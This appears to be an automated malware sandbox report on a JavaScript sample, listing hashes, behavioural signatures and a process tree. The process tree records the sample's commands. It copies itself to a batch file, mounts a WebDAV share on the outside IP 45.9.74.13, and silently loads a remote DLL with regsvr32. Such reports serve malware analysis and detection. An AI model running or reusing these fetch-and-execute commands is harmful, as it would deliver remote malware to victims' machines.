Analysis
-
max time kernel
99s -
max time network
100s -
platform
windows10-2004_x64 -
resource
win10v2004-20240704-en -
resource tags
arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system -
submitted
10-07-2024 21:08
Static task
static1
Behavioral task
behavioral1
Sample
107862867251714461.js
Resource
win7-20240705-en
Behavioral task
behavioral2
Sample
107862867251714461.js
Resource
win10v2004-20240704-en
General
-
Target
107862867251714461.js
-
Size
5KB
-
MD5
449c6f1596ed56bca29bd7989ab30356
-
SHA1
b0a8637d00489795dd6f6ab017f60ca25ffb8e6f
-
SHA256
527c364ec1424d14d84fffb9b556f102627cfcc0aa99df5f2e158eba5ca49550
-
SHA512
64d6f4b6cc9ef6da89f260e9d54edebef3c2af531caf9db1f391af645746405cf1b2c5600dc5f7440e31f82e8b8f5d1f50899f7e24e0e02d9ef5e0bd9b28f1be
-
SSDEEP
96:6CvDb5jf//afkQDjf//eR0RR83UQKpkmKzfrre2fWFTCkkTJ:6y5jeZDjmR0RgUQzmKzfrre2fWFTCkkl
Malware Config
Signatures
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
wscript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-1403246978-718555486-3105247137-1000\Control Panel\International\Geo\Nation wscript.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Runs net.exe
-
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
wscript.execmd.exedescription pid process target process PID 1664 wrote to memory of 2884 1664 wscript.exe cmd.exe PID 1664 wrote to memory of 2884 1664 wscript.exe cmd.exe PID 2884 wrote to memory of 1228 2884 cmd.exe net.exe PID 2884 wrote to memory of 1228 2884 cmd.exe net.exe PID 2884 wrote to memory of 2612 2884 cmd.exe regsvr32.exe PID 2884 wrote to memory of 2612 2884 cmd.exe regsvr32.exe
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\107862867251714461.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1664 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\107862867251714461.js" "C:\Users\Admin\\umyzgh.bat" && "C:\Users\Admin\\umyzgh.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:2884 -
C:\Windows\system32\net.exenet use \\45.9.74.13@8888\DavWWWRoot\3⤵PID:1228
-
C:\Windows\system32\regsvr32.exeregsvr32 /s \\45.9.74.13@8888\DavWWWRoot\623.dll3⤵PID:2612
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
5KB
MD5449c6f1596ed56bca29bd7989ab30356
SHA1b0a8637d00489795dd6f6ab017f60ca25ffb8e6f
SHA256527c364ec1424d14d84fffb9b556f102627cfcc0aa99df5f2e158eba5ca49550
SHA51264d6f4b6cc9ef6da89f260e9d54edebef3c2af531caf9db1f391af645746405cf1b2c5600dc5f7440e31f82e8b8f5d1f50899f7e24e0e02d9ef5e0bd9b28f1be